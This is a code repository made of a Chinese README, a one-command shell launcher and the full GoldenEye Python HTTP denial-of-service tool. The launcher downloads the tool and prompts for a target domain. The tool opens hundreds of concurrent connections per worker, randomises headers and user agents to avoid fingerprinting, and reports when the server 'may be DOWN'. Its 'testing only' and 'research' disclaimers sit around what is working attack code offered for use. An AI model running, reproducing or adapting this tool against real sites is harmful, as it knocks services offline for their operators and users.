├── README.md
├── cc.sh
└── goldeneye.py
/README.md:
--------------------------------------------------------------------------------
1 | # cc-tool
2 | Linux下的CC一键脚本,基于黄金眼制作
3 |
4 | # 本脚本仅供测试使用!!不要作死!!请勿用于非法用途!!
5 |
6 | # 如何使用
7 | ```
8 | wget -N --no-check-certificate "https://raw.githubusercontent.com/linux-terminal/cc/master/cc.sh" && bash cc.sh
9 | ```
10 |
--------------------------------------------------------------------------------
/cc.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin:/sbin
3 | export PATH
4 |
5 | which yum >/dev/null 2>/dev/null
6 | if [ $? -ne 0 ]; then
7 | Main=apt-get
8 | else
9 | Main=yum
10 | fi
11 |
12 | function main(){
13 | echo "### web tool v1.1 ###"
14 | echo "### By GitHub@linux-terminal ###"
15 | echo "### Update: 2020-07-06 ###"
16 | echo ""
17 | echo -e "\033[41;33m 适用环境 Debian \033[0m"
18 | echo "Github链接 https://github.com/linux-terminal/cc \033[41;33m请给个星星\033[0m"
19 | echo "---------------------------------------------------------------------------"
20 | echo -e "\033[41;33m 本脚本仅供测试使用!!不要作死!!请勿用于非法用途!! \033[0m"
21 | echo -e "\033[41;33m 回车以继续,ctrl+C退出 \033[0m"
22 | echo " "
23 | echo "---------------------------------------------------------------------------"
24 |
25 | read -n 1
26 | $Main update -y && $Main upgrade -y
27 | wget https://raw.githubusercontent.com/linux-terminal/cc/master/goldeneye.py
28 | chmod +x goldeneye.py
29 | echo "输入要测压的域名: (例: https://baidu.com)"
30 | read domain
31 | echo "即将测压 $domain,请按回车以继续"
32 | ./goldeneye.py $domain
33 | }
34 |
35 | main
36 |
--------------------------------------------------------------------------------
/goldeneye.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | """
4 | $Id: $
5 |
6 | /$$$$$$ /$$ /$$ /$$$$$$$$
7 | /$$__ $$ | $$ | $$ | $$_____/
8 | | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$
9 | | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$
10 | | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$
11 | | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/
12 | | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$
13 | \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/
14 | /$$ | $$
15 | | $$$$$$/
16 | \______/
17 |
18 |
19 |
20 | This tool is a dos tool that is meant to put heavy load on HTTP servers
21 | in order to bring them to their knees by exhausting the resource pool.
22 |
23 | This tool is meant for research purposes only
24 | and any malicious usage of this tool is prohibited.
25 |
26 | @author Jan Seidl
27 |
28 | @date 2014-02-18
29 | @version 2.1
30 |
31 | @TODO Test in python 3.x
32 |
33 | LICENSE:
34 | This software is distributed under the GNU General Public License version 3 (GPLv3)
35 |
36 | LEGAL NOTICE:
37 | THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
38 | IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
39 | THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
40 | BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
41 | """
42 |
43 | from multiprocessing import Process, Manager, Pool
44 | import urlparse, ssl
45 | import sys, getopt, random, time, os
46 |
47 | # Python version-specific
48 | if sys.version_info < (3,0):
49 | # Python 2.x
50 | import httplib
51 | HTTPCLIENT = httplib
52 | else:
53 | # Python 3.x
54 | import http.client
55 | HTTPCLIENT = http.client
56 |
57 | ####
58 | # Config
59 | ####
60 | DEBUG = False
61 | SSLVERIFY = True
62 |
63 | ####
64 | # Constants
65 | ####
66 | METHOD_GET = 'get'
67 | METHOD_POST = 'post'
68 | METHOD_RAND = 'random'
69 |
70 | JOIN_TIMEOUT=1.0
71 |
72 | DEFAULT_WORKERS=10
73 | DEFAULT_SOCKETS=500
74 |
75 | GOLDENEYE_BANNER = 'GoldenEye v2.1 by Jan Seidl '
76 |
77 | USER_AGENT_PARTS = {
78 | 'os': {
79 | 'linux': {
80 | 'name': [ 'Linux x86_64', 'Linux i386' ],
81 | 'ext': [ 'X11' ]
82 | },
83 | 'windows': {
84 | 'name': [ 'Windows NT 6.1', 'Windows NT 6.3', 'Windows NT 5.1', 'Windows NT.6.2' ],
85 | 'ext': [ 'WOW64', 'Win64; x64' ]
86 | },
87 | 'mac': {
88 | 'name': [ 'Macintosh' ],
89 | 'ext': [ 'Intel Mac OS X %d_%d_%d' % (random.randint(10, 11), random.randint(0, 9), random.randint(0, 5)) for i in range(1, 10) ]
90 | },
91 | },
92 | 'platform': {
93 | 'webkit': {
94 | 'name': [ 'AppleWebKit/%d.%d' % (random.randint(535, 537), random.randint(1,36)) for i in range(1, 30) ],
95 | 'details': [ 'KHTML, like Gecko' ],
96 | 'extensions': [ 'Chrome/%d.0.%d.%d Safari/%d.%d' % (random.randint(6, 32), random.randint(100, 2000), random.randint(0, 100), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 30) ] + [ 'Version/%d.%d.%d Safari/%d.%d' % (random.randint(4, 6), random.randint(0, 1), random.randint(0, 9), random.randint(535, 537), random.randint(1, 36)) for i in range(1, 10) ]
97 | },
98 | 'iexplorer': {
99 | 'browser_info': {
100 | 'name': [ 'MSIE 6.0', 'MSIE 6.1', 'MSIE 7.0', 'MSIE 7.0b', 'MSIE 8.0', 'MSIE 9.0', 'MSIE 10.0' ],
101 | 'ext_pre': [ 'compatible', 'Windows; U' ],
102 | 'ext_post': [ 'Trident/%d.0' % i for i in range(4, 6) ] + [ '.NET CLR %d.%d.%d' % (random.randint(1, 3), random.randint(0, 5), random.randint(1000, 30000)) for i in range(1, 10) ]
103 | }
104 | },
105 | 'gecko': {
106 | 'name': [ 'Gecko/%d%02d%02d Firefox/%d.0' % (random.randint(2001, 2010), random.randint(1,31), random.randint(1,12) , random.randint(10, 25)) for i in range(1, 30) ],
107 | 'details': [],
108 | 'extensions': []
109 | }
110 | }
111 | }
112 |
113 | ####
114 | # GoldenEye Class
115 | ####
116 |
117 | class GoldenEye(object):
118 |
119 | # Counters
120 | counter = [0, 0]
121 | last_counter = [0, 0]
122 |
123 | # Containers
124 | workersQueue = []
125 | manager = None
126 | useragents = []
127 |
128 | # Properties
129 | url = None
130 |
131 | # Options
132 | nr_workers = DEFAULT_WORKERS
133 | nr_sockets = DEFAULT_SOCKETS
134 | method = METHOD_GET
135 |
136 | def __init__(self, url):
137 |
138 | # Set URL
139 | self.url = url
140 |
141 | # Initialize Manager
142 | self.manager = Manager()
143 |
144 | # Initialize Counters
145 | self.counter = self.manager.list((0, 0))
146 |
147 |
148 | def exit(self):
149 | self.stats()
150 | print "Shutting down GoldenEye"
151 |
152 | def __del__(self):
153 | self.exit()
154 |
155 | def printHeader(self):
156 |
157 | # Taunt!
158 | print
159 | print GOLDENEYE_BANNER
160 | print
161 |
162 | # Do the fun!
163 | def fire(self):
164 |
165 | self.printHeader()
166 | print "Hitting webserver in mode '{0}' with {1} workers running {2} connections each. Hit CTRL+C to cancel.".format(self.method, self.nr_workers, self.nr_sockets)
167 |
168 | if DEBUG:
169 | print "Starting {0} concurrent workers".format(self.nr_workers)
170 |
171 | # Start workers
172 | for i in range(int(self.nr_workers)):
173 |
174 | try:
175 |
176 | worker = Striker(self.url, self.nr_sockets, self.counter)
177 | worker.useragents = self.useragents
178 | worker.method = self.method
179 |
180 | self.workersQueue.append(worker)
181 | worker.start()
182 | except (Exception):
183 | error("Failed to start worker {0}".format(i))
184 | pass
185 |
186 | if DEBUG:
187 | print "Initiating monitor"
188 | self.monitor()
189 |
190 | def stats(self):
191 |
192 | try:
193 | if self.counter[0] > 0 or self.counter[1] > 0:
194 |
195 | print "{0} GoldenEye strikes hit. ({1} Failed)".format(self.counter[0], self.counter[1])
196 |
197 | if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
198 | print "\tServer may be DOWN!"
199 |
200 | self.last_counter[0] = self.counter[0]
201 | self.last_counter[1] = self.counter[1]
202 | except (Exception):
203 | pass # silently ignore
204 |
205 | def monitor(self):
206 | while len(self.workersQueue) > 0:
207 | try:
208 | for worker in self.workersQueue:
209 | if worker is not None and worker.is_alive():
210 | worker.join(JOIN_TIMEOUT)
211 | else:
212 | self.workersQueue.remove(worker)
213 |
214 | self.stats()
215 |
216 | except (KeyboardInterrupt, SystemExit):
217 | print "CTRL+C received. Killing all workers"
218 | for worker in self.workersQueue:
219 | try:
220 | if DEBUG:
221 | print "Killing worker {0}".format(worker.name)
222 | #worker.terminate()
223 | worker.stop()
224 | except Exception, ex:
225 | pass # silently ignore
226 | if DEBUG:
227 | raise
228 | else:
229 | pass
230 |
231 | ####
232 | # Striker Class
233 | ####
234 |
235 | class Striker(Process):
236 |
237 |
238 | # Counters
239 | request_count = 0
240 | failed_count = 0
241 |
242 | # Containers
243 | url = None
244 | host = None
245 | port = 80
246 | ssl = False
247 | referers = []
248 | useragents = []
249 | socks = []
250 | counter = None
251 | nr_socks = DEFAULT_SOCKETS
252 |
253 | # Flags
254 | runnable = True
255 |
256 | # Options
257 | method = METHOD_GET
258 |
259 | def __init__(self, url, nr_sockets, counter):
260 |
261 | super(Striker, self).__init__()
262 |
263 | self.counter = counter
264 | self.nr_socks = nr_sockets
265 |
266 | parsedUrl = urlparse.urlparse(url)
267 |
268 | if parsedUrl.scheme == 'https':
269 | self.ssl = True
270 |
271 | self.host = parsedUrl.netloc.split(':')[0]
272 | self.url = parsedUrl.path
273 |
274 | self.port = parsedUrl.port
275 |
276 | if not self.port:
277 | self.port = 80 if not self.ssl else 443
278 |
279 |
280 | self.referers = [
281 | 'http://www.google.com/',
282 | 'http://www.bing.com/',
283 | 'http://www.baidu.com/',
284 | 'http://www.yandex.com/',
285 | 'http://' + self.host + '/'
286 | ]
287 |
288 |
289 | def __del__(self):
290 | self.stop()
291 |
292 |
293 | #builds random ascii string
294 | def buildblock(self, size):
295 | out_str = ''
296 |
297 | _LOWERCASE = range(97, 122)
298 | _UPPERCASE = range(65, 90)
299 | _NUMERIC = range(48, 57)
300 |
301 | validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
302 |
303 | for i in range(0, size):
304 | a = random.choice(validChars)
305 | out_str += chr(a)
306 |
307 | return out_str
308 |
309 |
310 | def run(self):
311 |
312 | if DEBUG:
313 | print "Starting worker {0}".format(self.name)
314 |
315 | while self.runnable:
316 |
317 | try:
318 |
319 | for i in range(self.nr_socks):
320 |
321 | if self.ssl:
322 | if SSLVERIFY:
323 | c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
324 | else:
325 | c = HTTPCLIENT.HTTPSConnection(self.host, self.port, context=ssl._create_unverified_context())
326 | else:
327 | c = HTTPCLIENT.HTTPConnection(self.host, self.port)
328 |
329 | self.socks.append(c)
330 |
331 | for conn_req in self.socks:
332 |
333 | (url, headers) = self.createPayload()
334 |
335 | method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
336 |
337 | conn_req.request(method.upper(), url, None, headers)
338 |
339 | for conn_resp in self.socks:
340 |
341 | resp = conn_resp.getresponse()
342 | self.incCounter()
343 |
344 | self.closeConnections()
345 |
346 | except:
347 | self.incFailed()
348 | if DEBUG:
349 | raise
350 | else:
351 | pass # silently ignore
352 |
353 | if DEBUG:
354 | print "Worker {0} completed run. Sleeping...".format(self.name)
355 |
356 | def closeConnections(self):
357 | for conn in self.socks:
358 | try:
359 | conn.close()
360 | except:
361 | pass # silently ignore
362 |
363 |
364 | def createPayload(self):
365 |
366 | req_url, headers = self.generateData()
367 |
368 | random_keys = headers.keys()
369 | random.shuffle(random_keys)
370 | random_headers = {}
371 |
372 | for header_name in random_keys:
373 | random_headers[header_name] = headers[header_name]
374 |
375 | return (req_url, random_headers)
376 |
377 | def generateQueryString(self, ammount = 1):
378 |
379 | queryString = []
380 |
381 | for i in range(ammount):
382 |
383 | key = self.buildblock(random.randint(3,10))
384 | value = self.buildblock(random.randint(3,20))
385 | element = "{0}={1}".format(key, value)
386 | queryString.append(element)
387 |
388 | return '&'.join(queryString)
389 |
390 |
391 | def generateData(self):
392 |
393 | returnCode = 0
394 | param_joiner = "?"
395 |
396 | if len(self.url) == 0:
397 | self.url = '/'
398 |
399 | if self.url.count("?") > 0:
400 | param_joiner = "&"
401 |
402 | request_url = self.generateRequestUrl(param_joiner)
403 |
404 | http_headers = self.generateRandomHeaders()
405 |
406 |
407 | return (request_url, http_headers)
408 |
409 | def generateRequestUrl(self, param_joiner = '?'):
410 |
411 | return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
412 |
413 | def getUserAgent(self):
414 |
415 | if self.useragents:
416 | return random.choice(self.useragents)
417 |
418 | # Mozilla/[version] ([system and browser information]) [platform] ([platform details]) [extensions]
419 |
420 | ## Mozilla Version
421 | mozilla_version = "Mozilla/5.0" # hardcoded for now, almost every browser is on this version except IE6
422 |
423 | ## System And Browser Information
424 | # Choose random OS
425 | os = USER_AGENT_PARTS['os'][random.choice(USER_AGENT_PARTS['os'].keys())]
426 | os_name = random.choice(os['name'])
427 | sysinfo = os_name
428 |
429 | # Choose random platform
430 | platform = USER_AGENT_PARTS['platform'][random.choice(USER_AGENT_PARTS['platform'].keys())]
431 |
432 | # Get Browser Information if available
433 | if 'browser_info' in platform and platform['browser_info']:
434 | browser = platform['browser_info']
435 |
436 | browser_string = random.choice(browser['name'])
437 |
438 | if 'ext_pre' in browser:
439 | browser_string = "%s; %s" % (random.choice(browser['ext_pre']), browser_string)
440 |
441 | sysinfo = "%s; %s" % (browser_string, sysinfo)
442 |
443 | if 'ext_post' in browser:
444 | sysinfo = "%s; %s" % (sysinfo, random.choice(browser['ext_post']))
445 |
446 |
447 | if 'ext' in os and os['ext']:
448 | sysinfo = "%s; %s" % (sysinfo, random.choice(os['ext']))
449 |
450 | ua_string = "%s (%s)" % (mozilla_version, sysinfo)
451 |
452 | if 'name' in platform and platform['name']:
453 | ua_string = "%s %s" % (ua_string, random.choice(platform['name']))
454 |
455 | if 'details' in platform and platform['details']:
456 | ua_string = "%s (%s)" % (ua_string, random.choice(platform['details']) if len(platform['details']) > 1 else platform['details'][0] )
457 |
458 | if 'extensions' in platform and platform['extensions']:
459 | ua_string = "%s %s" % (ua_string, random.choice(platform['extensions']))
460 |
461 | return ua_string
462 |
463 | def generateRandomHeaders(self):
464 |
465 | # Random no-cache entries
466 | noCacheDirectives = ['no-cache', 'max-age=0']
467 | random.shuffle(noCacheDirectives)
468 | nrNoCache = random.randint(1, (len(noCacheDirectives)-1))
469 | noCache = ', '.join(noCacheDirectives[:nrNoCache])
470 |
471 | # Random accept encoding
472 | acceptEncoding = ['\'\'','*','identity','gzip','deflate']
473 | random.shuffle(acceptEncoding)
474 | nrEncodings = random.randint(1,len(acceptEncoding)/2)
475 | roundEncodings = acceptEncoding[:nrEncodings]
476 |
477 | http_headers = {
478 | 'User-Agent': self.getUserAgent(),
479 | 'Cache-Control': noCache,
480 | 'Accept-Encoding': ', '.join(roundEncodings),
481 | 'Connection': 'keep-alive',
482 | 'Keep-Alive': random.randint(1,1000),
483 | 'Host': self.host,
484 | }
485 |
486 | # Randomly-added headers
487 | # These headers are optional and are
488 | # randomly sent thus making the
489 | # header count random and unfingerprintable
490 | if random.randrange(2) == 0:
491 | # Random accept-charset
492 | acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
493 | random.shuffle(acceptCharset)
494 | http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
495 |
496 | if random.randrange(2) == 0:
497 | # Random Referer
498 | url_part = self.buildblock(random.randint(5,10))
499 |
500 | random_referer = random.choice(self.referers) + url_part
501 |
502 | if random.randrange(2) == 0:
503 | random_referer = random_referer + '?' + self.generateQueryString(random.randint(1, 10))
504 |
505 | http_headers['Referer'] = random_referer
506 |
507 | if random.randrange(2) == 0:
508 | # Random Content-Trype
509 | http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
510 |
511 | if random.randrange(2) == 0:
512 | # Random Cookie
513 | http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
514 |
515 | return http_headers
516 |
517 | # Housekeeping
518 | def stop(self):
519 | self.runnable = False
520 | self.closeConnections()
521 | self.terminate()
522 |
523 | # Counter Functions
524 | def incCounter(self):
525 | try:
526 | self.counter[0] += 1
527 | except (Exception):
528 | pass
529 |
530 | def incFailed(self):
531 | try:
532 | self.counter[1] += 1
533 | except (Exception):
534 | pass
535 |
536 |
537 |
538 | ####
539 |
540 | ####
541 | # Other Functions
542 | ####
543 |
544 | def usage():
545 | print
546 | print '-----------------------------------------------------------------------------------------------------------'
547 | print
548 | print GOLDENEYE_BANNER
549 | print
550 | print ' USAGE: ./goldeneye.py [OPTIONS]'
551 | print
552 | print ' OPTIONS:'
553 | print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault'
554 | print '\t -u, --useragents\tFile with user-agents to use\t\t\t\t(default: randomly generated)'
555 | print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
556 | print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
557 | print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)'
558 | print '\t -n, --nosslcheck\tDo not verify SSL Certificate\t\t\t\t(default: True)'
559 | print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
560 | print '\t -h, --help\t\tShows this help'
561 | print
562 | print '-----------------------------------------------------------------------------------------------------------'
563 |
564 |
565 | def error(msg):
566 | # print help information and exit:
567 | sys.stderr.write(str(msg+"\n"))
568 | usage()
569 | sys.exit(2)
570 |
571 | ####
572 | # Main
573 | ####
574 |
575 | def main():
576 |
577 | try:
578 |
579 | if len(sys.argv) < 2:
580 | error('Please supply at least the URL')
581 |
582 | url = sys.argv[1]
583 |
584 | if url == '-h':
585 | usage()
586 | sys.exit()
587 |
588 | if url[0:4].lower() != 'http':
589 | error("Invalid URL supplied")
590 |
591 | if url == None:
592 | error("No URL supplied")
593 |
594 | opts, args = getopt.getopt(sys.argv[2:], "ndhw:s:m:u:", ["nosslcheck", "debug", "help", "workers", "sockets", "method", "useragents" ])
595 |
596 | workers = DEFAULT_WORKERS
597 | socks = DEFAULT_SOCKETS
598 | method = METHOD_GET
599 |
600 | uas_file = None
601 | useragents = []
602 |
603 | for o, a in opts:
604 | if o in ("-h", "--help"):
605 | usage()
606 | sys.exit()
607 | elif o in ("-u", "--useragents"):
608 | uas_file = a
609 | elif o in ("-s", "--sockets"):
610 | socks = int(a)
611 | elif o in ("-w", "--workers"):
612 | workers = int(a)
613 | elif o in ("-d", "--debug"):
614 | global DEBUG
615 | DEBUG = True
616 | elif o in ("-n", "--nosslcheck"):
617 | global SSLVERIFY
618 | SSLVERIFY = False
619 | elif o in ("-m", "--method"):
620 | if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
621 | method = a
622 | else:
623 | error("method {0} is invalid".format(a))
624 | else:
625 | error("option '"+o+"' doesn't exists")
626 |
627 |
628 | if uas_file:
629 | try:
630 | with open(uas_file) as f:
631 | useragents = f.readlines()
632 | except EnvironmentError:
633 | error("cannot read file {0}".format(uas_file))
634 |
635 | goldeneye = GoldenEye(url)
636 | goldeneye.useragents = useragents
637 | goldeneye.nr_workers = workers
638 | goldeneye.method = method
639 | goldeneye.nr_sockets = socks
640 |
641 | goldeneye.fire()
642 |
643 | except getopt.GetoptError, err:
644 |
645 | # print help information and exit:
646 | sys.stderr.write(str(err))
647 | usage()
648 | sys.exit(2)
649 |
650 | if __name__ == "__main__":
651 | main()
652 |
--------------------------------------------------------------------------------